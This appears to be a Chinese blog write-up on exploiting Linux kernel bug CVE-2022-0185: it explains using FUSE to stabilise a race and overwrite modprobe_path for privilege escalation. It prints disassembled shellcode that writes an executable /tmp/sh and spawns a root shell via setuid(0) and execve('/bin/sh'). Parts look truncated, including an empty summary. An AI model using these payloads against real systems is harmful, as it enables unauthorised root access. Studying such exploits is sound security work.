CVE-2022-0185的三种利用方式(一)

CVE-2022-0185 的几种利用方式学习,本篇为第一种利用方式:结合 FUSE 篡改 modprobe_path 完成提权。

漏洞分析

FUSE

FUSE(Filesystem in Userspace)是 Linux 的一项功能,可以从用户空间实现虚拟文件系统。当您使用 CONFIG_FUSE_FS 编译选项构建内核时,它会被启用。首先,该程序使用 FUSE 挂载文件系统。当对使用 FUSE 创建的文件系统中的文件执行操作时,将调用 fuse_operations 中定义的处理程序。除了文件操作的打开、读取、写入、关闭,目录访问的 readdir、mkdir、chmod、ioctl、poll 等,所有的操作都可以在 fuse_operations 中独立实现。不过一般题目中只要实现一个能触发的功能来增大条件竞争窗口和实现利用即可。如文件的打开或读取就足够。另外,为了打开,需要定义一个返回文件权限等信息的getattr函数。所以实现一个 FUSE 挂载文件系统需要:

  1. 确定挂载路径
  2. 定义并实现 fuse_operations

提高条件竞争的稳定性

现在让我们看看如何使用 FUSE 来稳定漏洞利用。

不过原理和userfaultfd是完全一样的。在 userfaultfd 中,页面错误是调用用户端处理程序的起点,但在 FUSE 中,文件读取是起点。

如果一个FUSE实现的文件在没有 MAP_POPULATE 的情况下通过 mmap 映射到内存,那么在对该区域进行读写时会出现page fault,最终会调用 fuse_operations 中的 read。如果你使用这个,你可以在内存读/写发生的时机切换上下文,就像userfaultfd一样。此时可以直接在对应的回调函数中实现操作也可以配合其他子进程/子线程实现。具体的示例可以参考FUSEの利用 | PAWNYABLE! 或本文的利用方式。

漏洞利用

回顾一下漏洞即:在 kmalloc-4096 上的溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
LOAD:0000000000400078 start:                                  ; DATA XREF: LOAD:0000000000400018↑o
LOAD:0000000000400078 ; LOAD:00000000004000F5↓o
LOAD:0000000000400078 lea rdi, aTmpSh ; "/tmp/sh"
LOAD:000000000040007F mov rsi, 241h
LOAD:0000000000400086 mov rax, 2
LOAD:000000000040008D syscall ; LINUX - sys_open
LOAD:000000000040008F mov rdi, rax
LOAD:0000000000400092 lea rsi, qword_4000DD
LOAD:0000000000400099 mov rdx, 0BAh
LOAD:00000000004000A0 mov rax, 1
LOAD:00000000004000A7 syscall ; LINUX - sys_write
LOAD:00000000004000A9 mov rax, 3
LOAD:00000000004000B0 syscall ; LINUX - sys_close
LOAD:00000000004000B2 lea rdi, aTmpSh ; "/tmp/sh"
LOAD:00000000004000B9 mov rsi, 9EDh
LOAD:00000000004000C0 mov rax, 5Ah ; 'Z'
LOAD:00000000004000C7 syscall ; LINUX - sys_chmod
LOAD:00000000004000C9 xor rdi, rdi
LOAD:00000000004000CC mov rax, 3Ch ; '<'
LOAD:00000000004000D3 syscall ; LINUX - sys_exit


LOAD:0000000000400078 start: ; DATA XREF: LOAD:0000000000400018↑o
LOAD:0000000000400078 xor rdi, rdi
LOAD:000000000040007B mov rax, 69h ; 'i'
LOAD:0000000000400082 syscall ; LINUX - sys_setuid
LOAD:0000000000400084 xor rdi, rdi
LOAD:0000000000400087 mov rax, 6Ah ; 'j'
LOAD:000000000040008E syscall ; LINUX - sys_setgid
LOAD:0000000000400090 lea rdi, aBinSh ; "/bin/sh"
LOAD:0000000000400097 push 0
LOAD:0000000000400099 mov rdx, rsp
LOAD:000000000040009C push rdi
LOAD:000000000040009D mov rsi, rsp
LOAD:00000000004000A0 mov rax, 3Bh ; ';'
LOAD:00000000004000A7 syscall ; LINUX - sys_execve
LOAD:00000000004000A9 mov rax, 3Ch ; '<'
LOAD:00000000004000B0 syscall ; LINUX - sys_exit

总结

参考文章